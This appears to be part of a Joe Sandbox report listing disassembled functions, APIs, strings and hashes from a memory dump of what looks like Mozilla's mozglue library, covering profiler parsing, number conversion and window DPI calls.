Opcode Fuzzy Hash: fb8675555285ac875c3de1cb55c2b124986113e0b03f320fa3a58dae27b9f0f6
Instruction Fuzzy Hash: E1F1B271A19B408FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C679E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C679EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C679F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C679F34
LeaveCriticalSection.KERNEL32(?), ref: 6C67A823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67A849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67A8B1, 6C67A8D4, 6C67A8EF

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction ID: c1827dcb3a360c7d673e696c750ffb37eae7622c7899b4964e0a10ca42f943cf
Opcode Fuzzy Hash: db17d2bc2b6b705c310f098b49b2b29c2677901b78e74add1f0f3777c2b96d9c
Instruction Fuzzy Hash: BA728D72A157118FD324CF28C540615FBE1BF89328F29CB6DE8698B792D335E841CB94

Function 6C6A2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6A2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6A2C61

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6A2E2D

Part of subcall function 6C6681B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C6681DE

Strings

ProfileBuffer parse error: %s, xrefs: 6C6A2E3B
expected a Time entry, xrefs: 6C6A2E36
(root), xrefs: 6C6A354F

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction ID: c45b159c50666698707fa0529ec4367b72d96f9d0c3f7e5a65ee094248517380
Opcode Fuzzy Hash: 02e4312583ca8ec7a0c251b38ac92e337338f3bd8d8f9d95d7f3126bcdc41898
Instruction Fuzzy Hash: 4191CF706087408FC724DF65C48469EF7E1AFCA358F10492DE99A8B751DB30E94ACB5B

Function 6C6B9E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C6B9F3D
__aulldiv.LIBCMT ref: 6C6B9F77
__aullrem.LIBCMT ref: 6C6B9F8C
__aulldiv.LIBCMT ref: 6C6BA023

Strings

-Infinity, xrefs: 6C6B9E60, 6C6B9E7B
NaN, xrefs: 6C6B9EAB

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__aullrem
String ID: -Infinity$NaN
API String ID: 3839614884-2141177498
Opcode ID: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction ID: cec4c0ba687317817b06540f2b3d32a47266ace032b3340d36d16366b67eb18d
Opcode Fuzzy Hash: 21a65f7a866fa2667de0635a79a97d547c177c83f3e04dd9208901693037bd90
Instruction Fuzzy Hash: FDC1DE31E043188BDB14CFA8C8907DEB7B6FF85318F544529D40ABBB81DB70A959CB99

Function 6C65D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

0, xrefs: 6C65DC7F
9, xrefs: 6C65DE7F
8, xrefs: 6C65DC08
1, xrefs: 6C65DBDD
-, xrefs: 6C65D7DD
@, xrefs: 6C65DAF6
0, xrefs: 6C65D852
, xrefs: 6C65DA88

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C5703, 6C6C9459, 6C6C56C7, 6C6C5740, 6C6C921F, 6C6C9269, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C5703, 6C6C9459, 6C6C56C7, 6C6C5740, 6C6C921F, 6C6C9269, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 6C65BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C65C1CB
__aulldiv.LIBCMT ref: 6C65C24C
__aulldiv.LIBCMT ref: 6C65C348
__aullrem.LIBCMT ref: 6C65C365
__aulldiv.LIBCMT ref: 6C65C37D

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca4ed2d6a03da8a3f704beac6cc95ae7f98496a33d9bce822fe9f562690d7ed6
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 18323632B046119FC718DE2CC89065ABBE6AFC9310F59866DE896CB395D730ED15CB90

Function 6C696CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 6C674640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C674777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C675585, 6C6755A8, 6C6755C3, 6C675624

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction ID: e152d09da89ed65f54dddbc3e1f9f5dc8f98e24aebc063a76cc89704db909104
Opcode Fuzzy Hash: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction Fuzzy Hash: 58B2DE71A057018FD328CF18C584725FBE2BFC5324B29CBADE4698B6A5D771E841CB98

Function 6C6B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 6C6C76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C79FB, 6C6C7B0B, 6C6C79C0, 6C6C793C, 6C6C7796, 6C6C7E0B

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c3f351375ce2f0f9a3e522e778f1118c83f9cb449e28e628ffd06b8ba48e099a
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AF320971E006198FCB14CF98C890AADFBF2FF88308F54816AC559A7745D731A986CF95

Function 6C6C6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C79FB, 6C6C7B0B, 6C6C7C03, 6C6C79C0, 6C6C793C, 6C6C7C72, 6C6C7E0B

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 3be4a28f322a9970853bb3041ef7813f79d8eca11099a4da24d4568498a361c3
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F822E771E006198FCB14CF98C880AADF7F2FF89304F6485AAC949A7745D731A986CF95

Function 6C695C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C6CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 6C65C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 47d4b005ea0d460a9a087beec7120d377fd57c6bf0f934b183e120b1cd954d5e
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 16A1AF71F0021A9FDB08CE68C8913AEB7F2AFC9354F588129D916E7781DB349D168B90

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

GetSystemMetricsForDpi, xrefs: 6C6B5677
gdi32, xrefs: 6C6B560A
GetThreadDpiAwarenessContext, xrefs: 6C6B562D
ReleaseDC, xrefs: 6C6B5742
AreDpiAwarenessContextsEqual, xrefs: 6C6B5637
SetWindowLongPtrW, xrefs: 6C6B57B7
CreateWindowExW, xrefs: 6C6B56C5
user32, xrefs: 6C6B5601
GetDpiForWindow, xrefs: 6C6B5690
ShowWindow, xrefs: 6C6B56DE
FillRect, xrefs: 6C6B5729
StretchDIBits, xrefs: 6C6B57CC
DeleteObject, xrefs: 6C6B57F9
SetWindowPos, xrefs: 6C6B56F7
MonitorFromWindow, xrefs: 6C6B578D
CreateSolidBrush, xrefs: 6C6B57E4
EnableNonClientDpiScaling, xrefs: 6C6B5666
GetWindowDC, xrefs: 6C6B5710
GetMonitorInfoW, xrefs: 6C6B57A2
LoadCursorW, xrefs: 6C6B5774
LoadIconW, xrefs: 6C6B575B
RegisterClassW, xrefs: 6C6B56AC

Memory Dump Source

Source File: 00000000.00000002.2300286574.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2300257498.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300349428.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300379406.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2300406054.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
